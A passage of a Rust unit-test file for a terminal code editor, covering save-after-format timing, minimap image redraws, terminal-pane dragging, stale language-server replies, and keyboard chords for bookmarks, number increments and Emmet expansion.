        depth,
        line: start,
        character: 0,
        range_start_line: start,
        range_end_line: end,
    }
}

#[test]
fn breadcrumb_symbol_chain_returns_enclosing_symbols_outermost_first() {
    use crate::lsp::manager::OutlineKind;
    let symbols = vec![
        sym("Widget", OutlineKind::Class, 0, 0, 20),
        sym("build", OutlineKind::Method, 1, 2, 8),
        sym("paint", OutlineKind::Method, 1, 10, 18),
    ];
    // Caret on line 4 sits inside Widget::build.
    let chain = breadcrumb_symbol_chain(&symbols, 4);
    assert_eq!(chain, vec![0, 1], "outermost (Widget) then inner (build)");
    // Caret on line 15 sits inside Widget::paint.
    assert_eq!(breadcrumb_symbol_chain(&symbols, 15), vec![0, 2]);
    // Caret on line 0 (the class header) is inside the class only.
    assert_eq!(breadcrumb_symbol_chain(&symbols, 0), vec![0]);
    // Caret past every symbol has no scope chain.
    assert!(breadcrumb_symbol_chain(&symbols, 30).is_empty());
}

#[test]
fn cmd_d_selects_word_then_adds_the_next_match_as_a_caret() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "foo foo foo\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_col = 1; // inside the first "foo"
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor.selection.is_some() && !app.editor.has_multi_cursor(),
        "first Cmd+D selects the word only"
    );
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor.has_multi_cursor(),
        "second Cmd+D adds the next match as a caret"
    );
}

#[test]
fn cmd_shift_k_deletes_the_current_line() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "one\ntwo\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1; // the "two" line
    app.handle_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.editor.lines,
        vec!["one".to_string(), "three".to_string()],
        "Cmd+Shift+K removes the cursor's line"
    );
}

#[test]
fn build_sticky_lines_pins_enclosing_headers_scrolled_above_the_viewport() {
    use crate::lsp::manager::OutlineKind;
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("m.rs");
    std::fs::write(&f, "x\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.outline.set_symbols(
        f.clone(),
        vec![
            sym("Widget", OutlineKind::Class, 0, 0, 40),
            sym("build", OutlineKind::Method, 1, 10, 30),
        ],
    );
    // Scrolled deep inside build: both the class and method headers are above.
    app.editor.scroll = 20;
    assert_eq!(app.build_sticky_lines(), vec![0, 10], "outermost first");
    // Scrolled inside the class but above the method: only the class pins.
    app.editor.scroll = 5;
    assert_eq!(app.build_sticky_lines(), vec![0]);
    // Parked on the class header itself: nothing is scrolled off, so no pins.
    app.editor.scroll = 0;
    assert!(app.build_sticky_lines().is_empty());
}

#[test]
fn build_breadcrumbs_lists_path_segments_then_the_symbol_chain() {
    use crate::lsp::manager::OutlineKind;
    let tmp = tempfile::tempdir().unwrap();
    let sub = tmp.path().join("src");
    std::fs::create_dir_all(&sub).unwrap();
    let f = sub.join("m.rs");
    std::fs::write(&f, "fn a() {}\nfn b() {\n    x\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.outline
        .set_symbols(f.clone(), vec![sym("b", OutlineKind::Function, 0, 1, 3)]);
    app.editor.cursor_row = 2; // inside fn b
    let crumbs = app.build_breadcrumbs();
    let labels: Vec<&str> = crumbs.iter().map(|c| c.label.as_str()).collect();
    assert_eq!(labels, vec!["src", "m.rs", "b"]);
    assert_eq!(crumbs[0].target, None, "path crumbs are informational");
    assert_eq!(
        crumbs[2].target,
        Some((1, 0)),
        "symbol crumb jumps to itself"
    );
}

#[test]
fn toggle_format_on_save_command_flips_the_pref_and_reports_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.format_on_save = false;
    app.run_command(crate::widgets::command_palette::Command::ToggleFormatOnSave);
    assert!(app.format_on_save, "the command turns format-on-save on");
    assert!(app.status.contains("on") || app.status.contains("On"));
    app.run_command(crate::widgets::command_palette::Command::ToggleFormatOnSave);
    assert!(!app.format_on_save, "the command toggles it back off");
}

#[test]
fn format_on_save_eligible_requires_pref_and_formatter_and_code_file() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("m.py");
    std::fs::write(&f, "x=1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    // Pref off: never eligible, even when a formatter is available.
    app.format_on_save = false;
    assert!(!app.format_on_save_eligible(true));
    // Pref on but no formatter advertised: not eligible (would hang the save).
    app.format_on_save = true;
    assert!(!app.format_on_save_eligible(false));
    // Pref on + formatter + a real code file: eligible.
    assert!(app.format_on_save_eligible(true));
}

#[test]
fn a_second_save_while_a_format_is_in_flight_still_writes_the_first_file() {
    // The latch holds ONE path and the manager tracks one format request id,
    // so arming a second file abandons the first reply. Overwriting the latch
    // therefore lost the first save outright: a.py stayed dirty and unwritten,
    // with no error and no status.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.py");
    let b = tmp.path().join("b.py");
    std::fs::write(&a, "a=1\n").unwrap();
    std::fs::write(&b, "b=1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.insert_char('X');
    app.arm_deferred_save(); // Cmd+S on a.py

    // The user moves on and saves the other file before the first reply lands.
    app.editor.open_pinned(&b).unwrap();
    app.editor.insert_char('Y');
    app.arm_deferred_save(); // Cmd+S on b.py

    assert!(
        std::fs::read_to_string(&a).unwrap().starts_with('X'),
        "a.py's save must survive the second Cmd+S, got {:?}",
        std::fs::read_to_string(&a).unwrap()
    );
    // b.py is still deferred, waiting on its own format reply.
    assert_eq!(app.save_after_format.as_deref(), Some(b.as_path()));
    app.complete_pending_save();
    assert!(
        std::fs::read_to_string(&b).unwrap().starts_with('Y'),
        "and b.py lands when its reply arrives"
    );
}

#[test]
fn a_deferred_format_save_writes_the_file_it_was_asked_to_save() {
    // `save()` armed a bare bool and returned; the write happened later, from
    // the format reply, through `write_current_to_disk` — which saves the
    // ACTIVE tab. Switching tabs while the formatter thought left the file the
    // user pressed Cmd+S on unwritten and still dirty, and wrote the other tab
    // instead, snapshot and didSave included.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.py");
    let b = tmp.path().join("b.py");
    std::fs::write(&a, "a=1\n").unwrap();
    std::fs::write(&b, "b=1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.insert_char('X');
    app.save_after_format = Some(a.clone());
    // The formatter is still thinking; the user moves to the other file.
    app.editor.open_pinned(&b).unwrap();
    app.editor.insert_char('Y');
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "b.py is active"
    );

    app.complete_pending_save();

    assert!(
        std::fs::read_to_string(&a).unwrap().starts_with('X'),
        "the file the save was asked for must be written, got {:?}",
        std::fs::read_to_string(&a).unwrap()
    );
    assert_eq!(
        std::fs::read_to_string(&b).unwrap(),
        "b=1\n",
        "the tab that merely happened to be active must NOT be written"
    );
}

#[test]
fn complete_pending_save_writes_formatted_buffer_to_disk() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("m.py");
    std::fs::write(&f, "x=1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    // Simulate a format edit landing in the buffer, then the deferred save
    // firing when the format response arrives.
    app.editor.insert_char('y');
    app.save_after_format = Some(f.clone());
    app.complete_pending_save();
    assert!(
        app.save_after_format.is_none(),
        "the deferred-save latch is consumed"
    );
    let on_disk = std::fs::read_to_string(&f).unwrap();
    assert!(
        on_disk.starts_with('y'),
        "the buffer was written to disk, got {on_disk:?}"
    );
    // With the latch clear, a second call is a no-op (no re-save).
    app.editor.insert_char('z');
    app.complete_pending_save();
    let unchanged = std::fs::read_to_string(&f).unwrap();
    assert_eq!(unchanged, on_disk, "no write without the latch set");
}

#[test]
fn minimap_edit_rebakes_in_place_but_a_moved_strip_arms_the_clear() {
    // Issue: every keystroke bumped `edit_seq`, the minimap layout signature
    // mismatched, and `update_minimap_overlay` armed the full-screen clear
    // latch - so the whole app blinked on every edit (a 2J + full redraw is
    // one visible round trip over SSH). A content-only change re-emits the
    // raster over the SAME cells (fixed Kitty id / same-cell OSC-1337 emit
    // replaces in place), so only a moved or resized strip may arm the clear.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.cell_pixel = Some((8, 16));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.editor.lines = (0..80).map(|i| format!("line {i}")).collect();
    let strip = ratatui::layout::Rect {
        x: 100,
        y: 1,
        width: 6,
        height: 40,
    };
    app.update_minimap_overlay(strip);
    assert!(app.minimap_image_payload().is_some(), "minimap must bake");
    let _ = app.consume_minimap_image_clear();
    app.mark_minimap_image_displayed();

    app.editor.lines.push(String::from("one more line"));
    app.editor.edit_seq += 1;
    app.update_minimap_overlay(strip);
    assert!(
        !app.consume_minimap_image_clear(),
        "a content-only minimap change must replace the image in place, not blank the screen"
    );
    assert!(
        app.minimap_image_payload().is_some(),
        "the rebaked raster must still be there to re-emit"
    );

    app.mark_minimap_image_displayed();
    let moved = ratatui::layout::Rect { x: 60, ..strip };
    app.update_minimap_overlay(moved);
    assert!(
        app.consume_minimap_image_clear(),
        "a moved minimap strip must arm the eviction clear so no ghost remains"
    );
}

#[test]
fn an_open_context_menu_hides_the_minimap_raster() {
    // The raster is emitted at Kitty z=0 (above text) AFTER ratatui's diff, on
    // every frame. The minimap's own right-click menu is anchored on the strip,
    // so without a gate the raster paints back over the menu the user just
    // opened. `cb0481b` fixed the same collision for the welcome logo. The gate
    // has to be rect-precise, not "any menu is open": arming the clear latch
    // for a menu elsewhere wipes and repaints the whole screen on the
    // cell-buffer protocols.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.cell_pixel = Some((8, 16));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.editor.lines = (0..80).map(|i| format!("line {i}")).collect();
    let strip = ratatui::layout::Rect {
        x: 100,
        y: 1,
        width: 6,
        height: 40,
    };
    app.update_minimap_overlay(strip);
    assert!(app.minimap_image_payload().is_some(), "minimap must bake");
    let _ = app.consume_minimap_image_clear();
    app.mark_minimap_image_displayed();

    app.open_minimap_menu(102, 5);
    app.update_minimap_overlay(strip);
    assert!(
        app.minimap_image_payload().is_none(),
        "no re-emit while a menu covers the strip, or it repaints over the menu"
    );
    assert!(
        app.consume_minimap_image_clear(),
        "and the placed image must be evicted, not left on the Kitty layer"
    );

    app.context_menu = None;
    app.update_minimap_overlay(strip);
    assert!(
        app.minimap_image_payload().is_some(),
        "the minimap comes back once the menu closes"
    );

    // A menu is clamped to the frame, not snapped to its right edge, so a
    // right-click far from the strip never reaches it.
    app.mark_minimap_image_displayed();
    app.open_minimap_menu(2, 5);
    app.update_minimap_overlay(strip);
    assert!(
        app.minimap_image_payload().is_some(),
        "a menu nowhere near the strip must leave the minimap alone"
    );
    assert!(
        !app.consume_minimap_image_clear(),
        "and must not arm the screen-wiping clear latch"
    );
}

#[test]
fn relay_request_ids_are_unique_per_request() {
    // `Instant::now().elapsed()` measures the gap between an instant and
    // itself, so the id was `<kind>-<pid>-0` almost every time. The relay keys
    // its remote inbox directory by request id, so two requests raised in the
    // same second collided: the first reply satisfied both pending pulls and
    // deleted the directory out from under the second, which then timed out
    // 120s later - with its file already destroyed or its tunnel already up.
    let ids: Vec<String> = (0..64).map(|_| App::relay_request_id("forward")).collect();
    let unique: std::collections::HashSet<&String> = ids.iter().collect();
    assert_eq!(unique.len(), ids.len(), "every request id must be distinct");
    assert!(ids[0].starts_with("forward-"), "kind stays in the id");
}

#[test]
fn image_eviction_wipes_the_screen_only_on_cell_buffer_protocols() {
    // The `terminal.clear()` the main loop fires when an image-clear latch is
    // armed exists to evict CACHED IMAGE CELLS: iTerm2 OSC-1337 and sixel
    // graphics live in the normal cell buffer, so only a `2J` removes them.
    // Kitty graphics live on their own layer and are deleted by
    // `evict_inline_images_on_clear` (delete-all-by-escape) without touching a
    // single text cell - wiping the screen there blanks the whole app for a
    // full SSH round trip on every latch (the "croft blinks while I type" bug).
    use crate::iterm2_inline::InlineImageProtocol;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.inline_protocol = InlineImageProtocol::Kitty;
    assert!(
        !app.image_eviction_needs_screen_wipe(),
        "Kitty images are deleted on their own layer; the text buffer must stay intact"
    );
    app.inline_protocol = InlineImageProtocol::ITerm2;
    assert!(app.image_eviction_needs_screen_wipe());
    app.inline_protocol = InlineImageProtocol::Sixel;
    assert!(app.image_eviction_needs_screen_wipe());
    app.inline_protocol = InlineImageProtocol::None;
    assert!(app.image_eviction_needs_screen_wipe());
}

#[test]
fn resize_must_force_a_full_text_repaint_on_every_protocol() {
    // dtach reattaches with `-r winch` precisely so the app repaints: after a
    // reattach the physical screen is blank while ratatui's back buffer still
    // says every cell is painted, so the diff alone emits nothing and only
    // later-changing cells (status bar, cursor) ever appear - the "remote
    // croft comes back all black" bug. The image-eviction wipe used to cover
    // this by accident; Kitty skips that wipe (the typing-blink fix), so a
    // WINCH must arm its own unconditional repaint.
    use crate::iterm2_inline::InlineImageProtocol;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.inline_protocol = InlineImageProtocol::Kitty;
    assert!(
        !app.consume_resize_repaint(),
        "no repaint owed before any resize"
    );
    app.on_resize();
    assert!(
        app.consume_resize_repaint(),
        "a WINCH must force the full text repaint even where image eviction skips the wipe"
    );
    assert!(
        !app.consume_resize_repaint(),
        "the resize repaint latch is one-shot"
    );
}

#[test]
fn drag_reorders_terminal_panes_and_active_follows_its_terminal() {
    // Dragging a pane label (side-by-side) or a rail row (maximize mode)
    // live-moves that terminal to the hovered slot. The reorder must keep
    // `active_terminal` pinned to the same underlying terminal: the dragged
    // pane stays active while it moves, and an unrelated active pane must not
    // silently switch because its index shifted.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    for (i, name) in ["one", "two", "three"].iter().enumerate() {
        app.terminals[i].set_manual_name(Some(name.to_string()));
    }

    app.active_terminal = 0;
    app.move_terminal(0, 2);
    let order: Vec<&str> = app.terminals.iter().map(|t| t.label()).collect();
    assert_eq!(order, ["two", "three", "one"], "pane moved to the far slot");
    assert_eq!(app.active_terminal, 2, "the dragged pane stays active");

    app.active_terminal = 1; // "three"
    app.move_terminal(2, 0); // drag "one" back to the front
    let order: Vec<&str> = app.terminals.iter().map(|t| t.label()).collect();
    assert_eq!(order, ["one", "two", "three"]);
    assert_eq!(
        app.terminals[app.active_terminal].label(),
        "three",
        "an unrelated active pane keeps its terminal when indices shift"
    );

    // Out-of-range and no-op moves must not disturb anything.
    app.move_terminal(1, 1);
    app.move_terminal(9, 0);
    app.move_terminal(0, 9);
    let order: Vec<&str> = app.terminals.iter().map(|t| t.label()).collect();
    assert_eq!(order, ["one", "two", "three"]);
}

#[test]
fn a_semantic_token_reply_older_than_the_applied_one_is_dropped() {
    // Two full requests can be in flight for one path at the SAME seq
    // (sync_lsp plus a server-driven refresh), and the request retry loop
    // emits an empty batch once its backoff runs out. Ordering by request
    // generation is what stops that late empty loser from blanking a good
    // overlay and being persisted to the content-keyed cache.
    assert!(
        crate::app::semantic_reply_is_current(None, 7),
        "the first reply for a path always applies"
    );
    assert!(crate::app::semantic_reply_is_current(Some(7), 8));
    assert!(
        crate::app::semantic_reply_is_current(Some(7), 7),
        "the same request re-delivered is not stale"
    );
    assert!(
        !crate::app::semantic_reply_is_current(Some(8), 7),
        "a reply from an older request must never overwrite a newer one"
    );
}

#[test]
fn reordering_panes_defers_the_session_write_off_the_input_path() {
    // move_terminal runs once per motion report during a drag. A full
    // read-modify-write of the session file — plus a cwd syscall and a stat
    // per pane — on each one violates the input-latency invariant, so the
    // write is marked and flushed once per tick instead.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The test-mode session path is per PROCESS, shared by every test in
    // this binary: a concurrent test's save would recreate the file between
    // the remove below and the non-existence assert. Absence is only
    // provable on a path this test owns alone.
    app.terminal_session_path = tmp.path().join("terminal-sessions.json");
    app.split_terminal().unwrap();
    let _ = std::fs::remove_file(&app.terminal_session_path);
    app.move_terminal(0, 1);
    assert!(
        !app.terminal_session_path.exists(),
        "the session write must not sit on the input path"
    );
    assert!(
        app.terminal_session_dirty,
        "the move is recorded as pending"
    );
    app.flush_terminal_session();
    assert!(
        app.terminal_session_path.exists(),
        "the deferred write lands on the flush"
    );
    assert!(!app.terminal_session_dirty);
}

#[test]
fn a_drag_held_over_one_pane_does_not_flip_flop_between_frames() {
    // The main loop drains the whole queued mouse burst before drawing, so
    // several Drag events land with no redraw between them. Hit-testing
    // must stay POSITIONAL across a move: `last_area` travels with the
    // terminal object, so if the rects are not re-seated per slot, the
    // second event swaps the panes straight back and the final order is
    // the parity of how many motion reports the terminal happened to emit.
    use crossterm::event::{KeyModifiers, MouseButton, MouseEvent, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    for (i, name) in ["one", "two", "three"].iter().enumerate() {
        app.terminals[i].set_manual_name(Some(name.to_string()));
    }
    let backend = ratatui::backend::TestBackend::new(180, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let mouse = |kind, x: u16, y: u16| MouseEvent {
        kind,
        column: x,
        row: y,
        modifiers: KeyModifiers::NONE,
    };
    let grab = app.terminal_label_rects[0];
    let dest = app.terminals[1].last_area;
    let (dx, dy) = (dest.x + dest.width / 2, dest.y + dest.height / 2);
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        grab.x + 1,
        grab.y,
    ));
    // Four motion reports over the same cell, no redraw in between.
    for _ in 0..4 {
        app.handle_mouse(mouse(MouseEventKind::Drag(MouseButton::Left), dx, dy));
    }
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), dx, dy));
    let order: Vec<&str> = app
        .terminals
        .iter()
        .map(|t| t.manual_name().unwrap_or(""))
        .collect();
    assert_eq!(
        order,
        vec!["two", "one", "three"],
        "the pane must settle where the pointer is, whatever the event count"
    );
}

#[test]
fn dragging_a_pane_label_and_a_rail_row_reorders_terminals_end_to_end() {
    // Full wiring pass over real hit rects: render a frame, press the first
    // pane's name pill, drag into the third pane, release - the terminal
    // must land in the far slot. Then the same through the maximize rail.
    use crossterm::event::{KeyModifiers, MouseButton, MouseEvent, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    for (i, name) in ["one", "two", "three"].iter().enumerate() {
        app.terminals[i].set_manual_name(Some(name.to_string()));
    }
    let backend = ratatui::backend::TestBackend::new(180, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let mouse = |kind, x: u16, y: u16| MouseEvent {
        kind,
        column: x,
        row: y,
        modifiers: KeyModifiers::NONE,
    };
    let grab = app.terminal_label_rects[0];
    assert!(grab.width > 0, "pane label pill must record a drag handle");
    let dest = app.terminals[2].last_area;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        grab.x + 1,
        grab.y,
    ));
    let (dx, dy) = (dest.x + dest.width / 2, dest.y + 2);
    app.handle_mouse(mouse(MouseEventKind::Drag(MouseButton::Left), dx, dy));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), dx, dy));
    let order: Vec<&str> = app.terminals.iter().map(|t| t.label()).collect();
    assert_eq!(order, ["two", "three", "one"], "label drag moves the pane");
    assert_eq!(app.active_terminal, 2, "the dragged pane lands focused");

    // Maximize mode: drag the top rail row onto the bottom one.
    app.terminal_pane_maximized = true;
    term.draw(|f| app.render(f)).unwrap();
    let from_row = app.terminal_rail_rects[0];
    let to_row = app.terminal_rail_rects[2];
    assert!(from_row.width > 0 && to_row.width > 0, "rail rows painted");
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        from_row.x + 1,
        from_row.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        to_row.x + 1,
        to_row.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        to_row.x + 1,
        to_row.y,
    ));
    let order: Vec<&str> = app.terminals.iter().map(|t| t.label()).collect();
    assert_eq!(order, ["three", "one", "two"], "rail drag moves the row");
}

#[test]
fn stale_document_symbol_reply_must_not_replace_the_fresher_outline() {
    // While typing on a slow language server, `documentSymbol` replies land
    // several edits behind the buffer. Applying one replaces the fresh
    // tree-sitter outline with ranges that no longer contain the caret, the
    // breadcrumb's symbol crumb drops off, and the next keystroke restores it:
    // the "hello_there blinks in the breadcrumb" bug. A reply is only valid
    // when it answers the NEWEST request (same path, same edit seq).
    use crate::lsp::manager::{OutlineKind, OutlineSymbol};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("demo.rs");
    std::fs::write(
        &file,
        "fn hello_there() {\n    let a = 1;\n    let b = 2;\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    // The LSP manager tracks this file at edit seq 7; the newest outline
    // request was issued for that seq.
    app.lsp_last_seen.insert(file.clone(), 7);
    app.sync_outline();
    assert!(
        app.outline
            .symbols()
            .iter()
            .any(|s| s.name == "hello_there"),
        "tree-sitter must have painted the fresh outline"
    );

    let stale_symbol = OutlineSymbol {
        name: String::from("hello_there"),
        detail: None,
        kind: OutlineKind::Function,
        depth: 0,
        line: 0,
        character: 3,
        range_start_line: 0,
        range_end_line: 0, // ranges from an older buffer: caret now outside
    };
    let applied = app.apply_outline_symbols(file.clone(), 3, vec![stale_symbol.clone()]);
    assert!(
        !applied,
        "a documentSymbol reply for an older edit seq must be dropped, not applied"
    );
    assert!(
        app.outline
            .symbols()
            .iter()
            .any(|s| s.name == "hello_there" && s.range_end_line >= 3),
        "the fresh tree-sitter ranges must survive the stale reply"
    );

    // The reply answering the newest request (seq 7) refines the outline.
    let applied = app.apply_outline_symbols(file.clone(), 7, vec![stale_symbol]);
    assert!(applied, "the reply matching the newest request must apply");
}

// --- Increment / Decrement Number ------------------------------------------

/// The Cmd+Opt+= / Cmd+Opt+- chords as crossterm decodes them (ALT|SUPER on
/// macOS; Ctrl+Alt on Linux arrives as ALT|CONTROL, which the predicate
/// accepts too).
#[test]
fn the_increment_chord_bumps_the_number_under_the_cursor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "port = 8080");
    app.editor.cursor_col = 8;
    app.handle_key(key(
        KeyCode::Char('='),
        KeyModifiers::ALT | KeyModifiers::SUPER,
    ))
    .unwrap();
    assert_eq!(app.editor.lines, vec!["port = 8081"]);
}

#[test]
fn the_decrement_chord_bumps_the_number_down() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "port = 8080");
    app.editor.cursor_col = 8;
    app.handle_key(key(
        KeyCode::Char('-'),
        KeyModifiers::ALT | KeyModifiers::CONTROL,
    ))
    .unwrap();
    assert_eq!(app.editor.lines, vec!["port = 8079"]);
}

/// A chord that finds nothing to bump must say so rather than looking like
/// a dead key.
#[test]
fn the_increment_chord_explains_itself_when_there_is_no_number() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "let name = value;");
    app.handle_key(key(
        KeyCode::Char('='),
        KeyModifiers::ALT | KeyModifiers::SUPER,
    ))
    .unwrap();
    assert_eq!(app.editor.lines, vec!["let name = value;"]);
    assert!(
        app.status.contains("No number"),
        "status should explain the no-op, got {:?}",
        app.status
    );
}

// --- Bookmarks ------------------------------------------------------------

#[test]
fn bookmark_chords_are_disjoint_from_the_chords_they_sit_beside() {
    // Toggle is Cmd+Opt+Shift+K; plain Cmd+Shift+K is still Delete Line.
    assert!(is_toggle_bookmark_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    assert!(!is_delete_line_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    assert!(!is_toggle_bookmark_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));

    // Next/previous are Cmd+Opt+. and Cmd+Opt+, — Quick Fix (Cmd+.) excludes
    // Alt, so the two dot chords never fire together.
    assert!(is_next_bookmark_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(!is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(!is_next_bookmark_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER
    )));
    assert!(is_prev_bookmark_key(key(
        KeyCode::Char(','),
        KeyModifiers::CONTROL | KeyModifiers::ALT
    )));
    assert!(!is_prev_bookmark_key(key(
        KeyCode::Char(','),
        KeyModifiers::ALT
    )));
}

// --- Emmet: Expand Abbreviation -------------------------------------------

#[test]
fn cmd_opt_shift_e_is_the_emmet_expand_chord() {
    assert!(is_emmet_expand_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    // Termux / Linux forward SUPER as CONTROL.
    assert!(is_emmet_expand_key(key(
        KeyCode::Char('e'),
        KeyModifiers::CONTROL | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    // Each modifier is load-bearing: dropping any one must not expand.
    assert!(!is_emmet_expand_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(!is_emmet_expand_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(!is_emmet_expand_key(key(
        KeyCode::Char('e'),
        KeyModifiers::NONE
    )));
    // And it is the E chord specifically, not any Cmd+Opt+Shift letter.
    assert!(!is_emmet_expand_key(key(
        KeyCode::Char('w'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
}

#[test]
fn the_toggle_chord_marks_the_cursor_line_and_says_so() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.rs", "a\nb\nc\nd\n");
    app.editor.cursor_row = 2;
    app.handle_editor_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    ));
    assert_eq!(app.editor.bookmarked_lines(), vec![3]);
    assert!(
        app.status.contains("line 3"),
        "the status must name the line; was {:?}",
        app.status
    );
}

#[test]
fn the_navigation_chords_move_the_cursor_between_marks() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.rs", "1\n2\n3\n4\n5\n6\n");
    for row in [1, 4] {
        app.editor.cursor_row = row;
        app.editor.toggle_bookmark();
    }
    app.editor.cursor_row = 0;
    app.handle_editor_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    ));
    assert_eq!(app.editor.cursor_row, 1);
    app.handle_editor_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    ));
    assert_eq!(app.editor.cursor_row, 4);
    app.handle_editor_key(key(
        KeyCode::Char(','),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    ));
    assert_eq!(app.editor.cursor_row, 1);
}

#[test]
fn bookmark_status_counts_marks_and_names_the_line_separately() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.rs", "1\n2\n3\n4\n5\n6\n");
    for row in [1, 4] {
        app.editor.cursor_row = row;
        app.editor.toggle_bookmark();
    }
    app.editor.cursor_row = 0;
    let next = key(KeyCode::Char('.'), KeyModifiers::SUPER | KeyModifiers::ALT);
    app.handle_editor_key(next);
    assert_eq!(app.status, "Bookmark 1 of 2 (line 2)");
    app.handle_editor_key(next);
    assert_eq!(app.status, "Bookmark 2 of 2 (line 5)");
}

#[test]
fn bookmark_clear_chord_is_cmd_opt_shift_b_and_clears_the_file() {
    assert!(is_clear_bookmarks_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    )));
    assert!(is_clear_bookmarks_key(key(
        KeyCode::Char('B'),
        KeyModifiers::CONTROL | KeyModifiers::ALT | KeyModifiers::SHIFT,
    )));
    assert!(!is_clear_bookmarks_key(key(
